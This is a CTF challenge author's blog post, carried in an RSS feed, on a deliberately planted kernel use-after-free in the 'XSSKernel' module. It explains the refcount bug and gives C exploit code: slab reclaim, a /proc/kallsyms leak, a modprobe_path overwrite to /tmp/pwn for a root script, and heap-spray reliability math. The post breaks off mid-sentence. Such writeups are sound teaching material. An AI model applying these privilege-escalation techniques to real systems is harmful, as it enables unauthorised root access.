<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/feed_style.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="https://www.rssboard.org/media-rss"><channel><title>0x3lk</title><link>https://0x3lk.github.io/</link><description>Recent content on 0x3lk</description><generator>Hugo -- gohugo.io</generator><language>en</language><managingEditor>oussamaeuler@gmail.com (0x3lk)</managingEditor><webMaster>oussamaeuler@gmail.com (0x3lk)</webMaster><lastBuildDate>Wed, 10 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://0x3lk.github.io/index.xml" rel="self" type="application/rss+xml"/><icon>https://0x3lk.github.io/img/icon.svg</icon><item><title>The Probability of Root: Designing a Kernel UAF</title><link>https://0x3lk.github.io/posts/xsskernel-writeup/</link><pubDate>Wed, 10 Jun 2026 00:00:00 +0000</pubDate><author>oussamaeuler@gmail.com (0x3lk)</author><guid>https://0x3lk.github.io/posts/xsskernel-writeup/</guid><description><![CDATA[<h2 id="introduction">Introduction</h2>
<p>So I made a challenge for Thcon this year and I wanted to write about it, not just a boring &ldquo;here&rsquo;s the solve&rdquo; but actually share the thought process behind the design. Because honestly, designing a kernel challenge is more fun than solving one sometimes. You get to decide <em>where</em> to hide the needle.</p>
<p>The challenge is called <strong>XSSKernel</strong>. Yeah, that name is intentionally confusing. There&rsquo;s no web XSS. It&rsquo;s a Linux kernel module, the name came from the Lore Story of the CTF, as XSS is a gang of hackers :D&hellip;</p>
<p>The goal: pop root, read <code>/flag</code>.</p>
<p>This post is both the design story and the solve writeup. Let&rsquo;s go.</p>
<h2 id="what-the-driver-does">What the Driver Does</h2>
<p>The module creates a character device at <code>/dev/xsskernel</code>. Each <code>open()</code> gives you a <strong>bank</strong>, an isolated set of 8 memory slots, each 4096 bytes. You interact with it through ioctls:</p>
<table>
  <thead>
      <tr>
          <th>IOCTL</th>
          <th>What it does</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>XSS_IOCTL_WRITE</code></td>
          <td>Write user data into a slot (CoW-safe by default)</td>
      </tr>
      <tr>
          <td><code>XSS_IOCTL_READ</code></td>
          <td>Read a slot back to userspace</td>
      </tr>
      <tr>
          <td><code>XSS_IOCTL_SNAPSHOT</code></td>
          <td>Save current state of all 8 slots into a named snapshot</td>
      </tr>
      <tr>
          <td><code>XSS_IOCTL_RESTORE</code></td>
          <td>Restore a named snapshot back into the live slots</td>
      </tr>
      <tr>
          <td><code>XSS_IOCTL_DELETE</code></td>
          <td>Delete a named snapshot</td>
      </tr>
      <tr>
          <td><code>XSS_IOCTL_EXPORT</code></td>
          <td>Export a snapshot as a numeric token (cross-fd shareable)</td>
      </tr>
      <tr>
          <td><code>XSS_IOCTL_IMPORT</code></td>
          <td>Import a token from another fd into this bank</td>
      </tr>
      <tr>
          <td><code>XSS_IOCTL_VERIFY</code></td>
          <td><code>memcmp</code> two live slots, returns 1 if identical</td>
      </tr>
      <tr>
          <td><code>XSS_IOCTL_LABEL</code></td>
          <td>Attach a short tag string to a slot</td>
      </tr>
  </tbody>
</table>
<p>The interesting part is the <strong>cross-fd export/import</strong>. You can snapshot your bank, export it as a u64 token, then import that token from a <em>different</em> fd and get a copy of the snapshot in your bank. The token is a global handle, valid across file descriptors and processes.</p>
<h2 id="the-core-structures">The Core Structures</h2>
<p>The whole driver revolves around three structures. Understanding them is understanding the bug.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> xss_page {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span>     <span style="color:#f92672">*</span>data;       <span style="color:#75715e">// the 4096-byte payload buffer
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">atomic_t</span>  refs;       <span style="color:#75715e">// refcount
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    u32       magic;      <span style="color:#75715e">// 0x58535350 (&#39;XSSP&#39;)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    u64       generation;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">char</span>      tag[<span style="color:#ae81ff">40</span>];    <span style="color:#75715e">// cosmetic label
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> xss_snapshot {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">char</span>              name[XSS_NAME_LEN];  <span style="color:#75715e">// 32 bytes
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">struct</span> xss_page  <span style="color:#f92672">*</span>slots[XSS_SLOTS];    <span style="color:#75715e">// 8 page pointers
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">atomic_t</span>          refs;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">struct</span> list_head  list_in_bank;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> xss_bank {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">struct</span> xss_page  <span style="color:#f92672">*</span>current_slots[XSS_SLOTS];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">struct</span> list_head  snapshots;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">struct</span> mutex      lock;
</span></span><span style="display:flex;"><span>    u64               generation;
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>One thing to note right away: <code>xss_page</code> is exactly <strong>64 bytes</strong> (8+4+4+8+40). That puts it squarely in <code>kmalloc-64</code>. This matters for slab reclaim later.</p>
<p>The lifecycle is straightforward. Pages start with <code>refs = 1</code>. <code>xss_page_get()</code> bumps the refcount and <code>xss_page_put()</code> decrements it, freeing the page when it hits zero:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">xss_page_put</span>(<span style="color:#66d9ef">struct</span> xss_page <span style="color:#f92672">*</span>p)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">atomic_dec_and_test</span>(<span style="color:#f92672">&amp;</span>p<span style="color:#f92672">-&gt;</span>refs)) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">kfree</span>(p<span style="color:#f92672">-&gt;</span>data);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">kfree</span>(p);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>When you take a snapshot, each current slot gets a <code>xss_page_get()</code> call, so the page is now shared between the live bank and the snapshot. When you write to a shared slot, the driver detects <code>refs &gt; 1</code> and copies the page first (Copy-on-Write):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>(io<span style="color:#f92672">-&gt;</span>flags <span style="color:#f92672">&amp;</span> XSS_WRITE_FAST) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">atomic_read</span>(<span style="color:#f92672">&amp;</span>cur<span style="color:#f92672">-&gt;</span>refs) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>    np <span style="color:#f92672">=</span> <span style="color:#a6e22e">xss_page_alloc</span>(<span style="color:#f92672">++</span>b<span style="color:#f92672">-&gt;</span>generation);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">memcpy</span>(np<span style="color:#f92672">-&gt;</span>data, cur<span style="color:#f92672">-&gt;</span>data, XSS_PAGE_SIZE);
</span></span><span style="display:flex;"><span>    b<span style="color:#f92672">-&gt;</span>current_slots[io<span style="color:#f92672">-&gt;</span>slot] <span style="color:#f92672">=</span> np;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">xss_page_put</span>(cur);
</span></span><span style="display:flex;"><span>    cur <span style="color:#f92672">=</span> np;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Looks solid. The bug is not here.</p>
<h2 id="the-bug">The Bug</h2>
<p>Look at how <code>xss_op_snapshot</code> stores pages into a new snapshot:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> XSS_SLOTS; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>    s<span style="color:#f92672">-&gt;</span>slots[i] <span style="color:#f92672">=</span> <span style="color:#a6e22e">xss_page_get</span>(b<span style="color:#f92672">-&gt;</span>current_slots[i]);  <span style="color:#75715e">// bumps refs
</span></span></span></code></pre></div><p>Each page gets a proper <code>xss_page_get()</code>. Good.</p>
<p>Now look at <code>xss_op_import</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">/* token holds a struct ref on src; slot pointers are valid. */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> XSS_SLOTS; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>    new_s<span style="color:#f92672">-&gt;</span>slots[i] <span style="color:#f92672">=</span> src<span style="color:#f92672">-&gt;</span>slots[i];   <span style="color:#75715e">// NO xss_page_get
</span></span></span></code></pre></div><p>No <code>xss_page_get()</code>. The comment even tries to justify it: &ldquo;the token holds a struct ref on src, so the slot pointers are valid.&rdquo; That&rsquo;s technically true. The <code>xss_snapshot</code> struct <code>src</code> stays alive because the token incremented its refcount. But the <em>pages</em> inside <code>src-&gt;slots</code> have no idea that <code>new_s</code> now holds pointers to them. Their refcounts were never bumped.</p>
<p>So <code>new_s</code> holds pointers to pages it doesn&rsquo;t own. One missing function call. That&rsquo;s the whole bug.</p>
<p>I designed this to look completely reasonable at a glance. The comment even provides cover. That&rsquo;s the game.</p>
<h2 id="refcount-walkthrough">Refcount Walkthrough</h2>
<p>Let&rsquo;s trace exactly what happens with slot 0 through the exploit setup.</p>
<p><strong>Initial state after <code>open()</code>:</strong></p>
<pre tabindex="0"><code>page0 allocated, page0.refs = 1
current_slots[0] = page0
</code></pre><p><strong>After <code>SNAPSHOT &quot;A&quot;</code>:</strong></p>
<pre tabindex="0"><code>snap_A.slots[0] = xss_page_get(page0)
page0.refs = 2   (current_slots[0] + snap_A.slots[0])
snap_A.refs = 1  (bank list holds it)
</code></pre><p><strong>After <code>EXPORT &quot;A&quot;</code> to get token T:</strong></p>
<pre tabindex="0"><code>atomic_inc(&amp;snap_A.refs)
snap_A.refs = 2  (bank list + token)
page0.refs = 2   (unchanged, export only bumps the snapshot struct ref)
</code></pre><p><strong>After <code>IMPORT T as &quot;B&quot;</code>:</strong></p>
<pre tabindex="0"><code>new_s-&gt;slots[0] = src-&gt;slots[0]   // no xss_page_get!
snap_B.slots[0] = page0
page0.refs = 2   (still 2, import never called xss_page_get)
snap_B.refs = 1  (bank list holds it)
</code></pre><p><strong>After <code>DELETE &quot;A&quot;</code>:</strong></p>
<pre tabindex="0"><code>snap_detach_from_bank_locked(snap_A):
  xss_page_put(page0) -&gt; page0.refs: 2 -&gt; 1
  snap_drop_struct(snap_A): snap_A.refs: 2 -&gt; 1  (token still holds it)
</code></pre><p><strong>After <code>DELETE &quot;B&quot;</code>:</strong></p>
<pre tabindex="0"><code>snap_detach_from_bank_locked(snap_B):
  xss_page_put(page0) -&gt; page0.refs: 1 -&gt; 0 -&gt; PAGE FREED
    kfree(page0-&gt;data)
    kfree(page0)
</code></pre><p>And <code>current_slots[0]</code> still points to the freed <code>page0</code>. <strong>Use-After-Free.</strong></p>
<p>The root cause in one sentence: <code>snap_B</code> held a dangling pointer to a page it never owned, and when it got destroyed it drove the refcount to zero and freed memory that was still reachable.</p>
<h2 id="primitives-from-the-uaf">Primitives From the UAF</h2>
<p>Once <code>page0</code> is freed and <code>current_slots[0]</code> is dangling, every ioctl that touches slot 0 goes through freed memory.</p>
<p><strong>Write through UAF:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>cur <span style="color:#f92672">=</span> b<span style="color:#f92672">-&gt;</span>current_slots[io<span style="color:#f92672">-&gt;</span>slot];   <span style="color:#75715e">// dangling ptr to freed page0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">copy_from_user</span>(cur<span style="color:#f92672">-&gt;</span>data <span style="color:#f92672">+</span> io<span style="color:#f92672">-&gt;</span>offset, uptr, io<span style="color:#f92672">-&gt;</span>len);
</span></span></code></pre></div><p><code>cur-&gt;data</code> is whatever byte 0 through 7 of the freed <code>xss_page</code> struct contain now. If the slab recycled that memory for something else, <code>cur-&gt;data</code> is whatever that new object placed at offset 0. Writing with <code>XSS_WRITE_FAST</code> skips the refcount check entirely and goes straight to <code>copy_from_user</code>, so we write to wherever <code>cur-&gt;data</code> points.</p>
<p><strong>Read through UAF:</strong></p>
<p>Same path but with <code>copy_to_user</code>. If we know what recycled the slab, we can leak its contents.</p>
<p><strong>Verify as oracle:</strong></p>
<p><code>xss_op_verify</code> does <code>memcmp(pa-&gt;data, pb-&gt;data, ...)</code>. One of the pointers can be a dangling UAF pointer. Useful for checking heap state without a full read.</p>
<h2 id="full-exploit-path">Full Exploit Path</h2>
<h3 id="step-1-trigger-the-uaf">Step 1: Trigger the UAF</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> fd <span style="color:#f92672">=</span> <span style="color:#a6e22e">open</span>(<span style="color:#e6db74">&#34;/dev/xsskernel&#34;</span>, O_RDWR);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> xss_io io <span style="color:#f92672">=</span> { .slot<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>, .offset<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>, .len<span style="color:#f92672">=</span><span style="color:#ae81ff">8</span>, .buf<span style="color:#f92672">=</span>(u64)<span style="color:#e6db74">&#34;AAAAAAAA&#34;</span> };
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_WRITE, <span style="color:#f92672">&amp;</span>io);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> xss_name nm_A <span style="color:#f92672">=</span> { .name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;A&#34;</span> };
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_SNAPSHOT, <span style="color:#f92672">&amp;</span>nm_A);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> xss_export ex <span style="color:#f92672">=</span> { .name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;A&#34;</span> };
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_EXPORT, <span style="color:#f92672">&amp;</span>ex);
</span></span><span style="display:flex;"><span>u64 token <span style="color:#f92672">=</span> ex.token;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> xss_import im <span style="color:#f92672">=</span> { .token<span style="color:#f92672">=</span>token, .name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;B&#34;</span> };
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_IMPORT, <span style="color:#f92672">&amp;</span>im);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// delete both: page0 hits zero, current_slots[0] is now dangling
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_DELETE, <span style="color:#f92672">&amp;</span>(<span style="color:#66d9ef">struct</span> xss_name){ .name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;A&#34;</span> });
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_DELETE, <span style="color:#f92672">&amp;</span>(<span style="color:#66d9ef">struct</span> xss_name){ .name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;B&#34;</span> });
</span></span></code></pre></div><p>At this point <code>current_slots[0]</code> on <code>fd</code> is a dangling pointer to freed <code>kmalloc-64</code> memory.</p>
<h3 id="step-2-reclaim-the-freed-slab">Step 2: Reclaim the Freed Slab</h3>
<p><code>xss_page</code> is 64 bytes so it goes to <code>kmalloc-64</code>. We open a fresh fd and write to its slot 0, which calls <code>xss_page_alloc</code>. The SLUB allocator is LIFO-ish for the per-CPU freelist, so the just-freed chunk comes back almost immediately.</p>
<p>For the actual exploit we want to plant a fake <code>xss_page</code> struct in that freed chunk with <code>data</code> pointing to a kernel target. Since <code>data</code> is at offset 0 of the struct, we write an 8-byte kernel address at offset 0 of our fresh slot, and SLUB hands us back that chunk as the recycled <code>page0</code> on our original fd.</p>
<h3 id="step-3-leak-kernel-addresses">Step 3: Leak Kernel Addresses</h3>
<p>The challenge has <code>kptr_restrict=0</code>, so <code>/proc/kallsyms</code> is readable. We grab <code>modprobe_path</code> directly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>FILE <span style="color:#f92672">*</span>f <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">&#34;/proc/kallsyms&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> addr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> sym[<span style="color:#ae81ff">256</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">fscanf</span>(f, <span style="color:#e6db74">&#34;%lx %*c %255s&#34;</span>, <span style="color:#f92672">&amp;</span>addr, sym) <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">strcmp</span>(sym, <span style="color:#e6db74">&#34;modprobe_path&#34;</span>)) {
</span></span><span style="display:flex;"><span>        modprobe_path_addr <span style="color:#f92672">=</span> addr;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>No KASLR bypass needed when the symbol table is open.</p>
<h3 id="step-4-corrupt-modprobe_path">Step 4: Corrupt modprobe_path</h3>
<p>With our fake <code>xss_page.data</code> pointing at <code>modprobe_path</code>, we issue a <code>XSS_WRITE_FAST</code> write on slot 0 of the original fd:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">char</span> path[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/tmp/pwn&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> xss_io io <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    .slot   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>    .offset <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>    .len    <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(path),
</span></span><span style="display:flex;"><span>    .flags  <span style="color:#f92672">=</span> XSS_WRITE_FAST,
</span></span><span style="display:flex;"><span>    .buf    <span style="color:#f92672">=</span> (u64)path,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_WRITE, <span style="color:#f92672">&amp;</span>io);
</span></span><span style="display:flex;"><span><span style="color:#75715e">// becomes: copy_from_user(modprobe_path, &#34;/tmp/pwn&#34;, 9)
</span></span></span></code></pre></div><p>One ioctl. <code>modprobe_path</code> now points at our script.</p>
<h3 id="step-5-trigger-modprobe">Step 5: Trigger modprobe</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// /tmp/pwn contains:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">//   #!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">//   cp /flag /tmp/flag &amp;&amp; chmod 777 /tmp/flag
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> f <span style="color:#f92672">=</span> <span style="color:#a6e22e">open</span>(<span style="color:#e6db74">&#34;/tmp/dummy&#34;</span>, O_CREAT<span style="color:#f92672">|</span>O_WRONLY, <span style="color:#ae81ff">0777</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">write</span>(f, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xff\xff\xff\xff</span><span style="color:#e6db74">&#34;</span>, <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">close</span>(f);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">execve</span>(<span style="color:#e6db74">&#34;/tmp/dummy&#34;</span>, NULL, NULL);
</span></span><span style="display:flex;"><span><span style="color:#75715e">// kernel calls /tmp/pwn as root
</span></span></span></code></pre></div><p>Flag is at <code>/tmp/flag</code>.</p>
<h2 id="the-math-behind-spray-probability">The Math Behind Spray Probability</h2>
<p>The spray step feels intuitive: free a chunk, allocate a chunk of the same size, get the old chunk back. But the probability of success is not always 1, and understanding why matters when your exploit fails in practice.</p>
<p>The modeling approach below is inspired by the paper <a href="https://arxiv.org/html/2406.02624v1"><strong>&ldquo;Take a Step Further: Understanding Page Spray in Linux Kernel Exploitation&rdquo;</strong></a> which is genuinely one of the best formal treatments of heap spray mechanics I&rsquo;ve come across. Worth reading in full.</p>
<p>The SLUB allocator manages <code>kmalloc-64</code> as a per-CPU LIFO freelist. After <code>kfree(page0)</code>, target chunk $T$ sits at the top. In a single-threaded world we get it back immediately. The world is not single-threaded. Tragically.</p>
<p>Between our <code>kfree</code> and our spray, there is a race window $\tau$ where competing threads allocate from the same cache. We model those as a <strong>Poisson process</strong> (<a href="https://en.wikipedia.org/wiki/Poisson_distribution">Poisson distribution</a>) with rate $\lambda$:</p>
$$P(\text{reclaim, no spray}) = e^{-\lambda\tau}$$<p>If an ioctl gets preempted and $\tau$ stretches to $100\ \mu s$ on a moderately loaded system ($\lambda = 10^4$/s), then $\lambda\tau = 1$ and $P \approx 0.368$. Congratulations, your exploit is now a coinflip with extra steps.</p>
<p>Spraying $S$ consecutive chunks fixes this. We succeed when fewer than $S$ competing allocations buried $T$. Using the Poisson CDF (<a href="https://en.wikipedia.org/wiki/Incomplete_gamma_function">Incomplete gamma function</a>):</p>
$$P(\text{success} \mid S) = \frac{\Gamma(S,\, \lambda\tau)}{\Gamma(S)}$$<p>To pick $S$ for a target failure rate $\varepsilon$, the <strong>Chernoff bound</strong> (<a href="https://en.wikipedia.org/wiki/Chernoff_bound">Chernoff bound</a>) gives:</p>
$$P\!\left(\mathrm{Poisson}(\mu) \geq S\right) \leq e^{-\mu}\!\left(\frac{e\mu}{S}\right)^{\!S}, \qquad \mu = \lambda\tau$$<table>
  <thead>
      <tr>
          <th style="text-align: center">$\mu$</th>
          <th style="text-align: center">$S$ for $\varepsilon < 10^{-2}$</th>
          <th style="text-align: center">$S$ for $\varepsilon < 10^{-3}$</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">1</td>
          <td style="text-align: center">7</td>
          <td style="text-align: center">9</td>
      </tr>
      <tr>
          <td style="text-align: center">5</td>
          <td style="text-align: center">13</td>
          <td style="text-align: center">15</td>
      </tr>
      <tr>
          <td style="text-align: center">10</td>
          <td style="text-align: center">21</td>
          <td style="text-align: center">24</td>
      </tr>
  </tbody>
</table>
<p>When competing threads also <em>free</em> during the window, $T$&rsquo;s position drifts by $N_a - N_f$, which follows the <strong>Skellam distribution</strong> (<a href="https://en.wikipedia.org/wiki/Skellam_distribution">Skellam distribution</a>) with variance $2\lambda\tau$ (yes, Skellam is a real name, yes this is a real distribution). Production exploits spray 64 or more chunks because that variance grows linearly with load.</p>
<p>With 2 fresh fds (16 chunks) on this driver under a CTF load $\mu \leq 2$:</p>
$$P(\text{success}) = P\!\left(\mathrm{Poisson}(2) < 16\right) \approx 1 - 3.5 \times 10^{-7}$$<p>Seven nines. If your exploit still fails with those odds, I genuinely cannot help you, that&rsquo;s a you problem.</p>
<h2 id="toward-deterministic-spray-attacking-the-sources-of-entropy">Toward Deterministic Spray: Attacking the Sources of Entropy</h2>
<p>Increasing $S$ is the lazy answer. It works, but you&rsquo;re just throwing chunks at the problem and hoping. The interesting question is: can we <em>engineer</em> the heap state so that the spray succeeds with probability 1, regardless of load?</p>
<p>Yes. The answer involves attacking each source of entropy separately. There are three: the race window $\tau$, the competing rate $\lambda$, and the freelist depth $F$ under $T$. Kill all three and the spray becomes deterministic.</p>
<h3 id="source-1-the-race-window-shrinking-tau-to-near-zero">Source 1: The Race Window, Shrinking $\tau$ to Near Zero</h3>
<p>The race window exists because there are instructions between our <code>kfree</code> and our controlled <code>kmalloc</code>. Every instruction is a preemption point. Every page fault in that path adds microseconds.</p>
<p><strong><code>mlockall(MCL_CURRENT | MCL_FUTURE)</code></strong> before the exploit run locks all pages into physical memory. This eliminates soft page faults from the critical path. The kernel will not page-fault inside your exploit&rsquo;s hot loop.</p>
<p><strong><code>madvise(MADV_POPULATE_WRITE, ...)</code></strong> on your spray buffers pre-faults the userspace pages you will write controlled data into. No fault on first touch during the spray.</p>
<p><strong>Avoid syscall overhead in the critical window.</strong> The sequence <code>kfree → kmalloc</code> in userspace is actually two ioctl syscalls. Each has entry/exit overhead of ~100–300 ns. Pre-build all the ioctl argument structs in a local array so the spray loop does nothing except syscall:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// pre-built, cache-hot
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">struct</span> xss_io ios[SPRAY_N];  <span style="color:#75715e">// built before triggering the UAF
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// critical window:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_DELETE, <span style="color:#f92672">&amp;</span>nm_A);  <span style="color:#75715e">// kfree happens here
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">ioctl</span>(fd, XSS_IOCTL_DELETE, <span style="color:#f92672">&amp;</span>nm_B);  <span style="color:#75715e">// UAF triggered
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> SPRAY_N; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">ioctl</span>(spray_fds[i], XSS_IOCTL_WRITE, <span style="color:#f92672">&amp;</span>ios[i]);  <span style="color:#75715e">// spray
</span></span></span></code></pre></div><p>With everything pre-faulted and cache-warm, the effective $\tau$ between the last <code>kfree</code> and the first spray <code>kmalloc</code> is in the tens of nanoseconds. At $\lambda = 10^4$/s:</p>
$$\lambda\tau = 10^4 \times 50 \times 10^{-9} = 5 \times 10^{-4}$$$$P(\text{no competition}) = e^{-5 \times 10^{-4}} \approx 0.9995$$<p>The spray is nearly redundant at this point. But we still do it, because &ldquo;nearly&rdquo; is not &ldquo;exactly.&rdquo;</p>
<h3 id="source-2-competing-rate-reducing-lambda-via-cpu-pinning">Source 2: Competing Rate, Reducing $\lambda$ via CPU Pinning</h3>
<p>SLUB maintains <strong>one freelist per CPU</strong>. Threads on CPU 0 cannot touch the freelist of CPU 1. This is the key insight.</p>
<p><code>sched_setaffinity()</code> pins your process to a single CPU:</p>
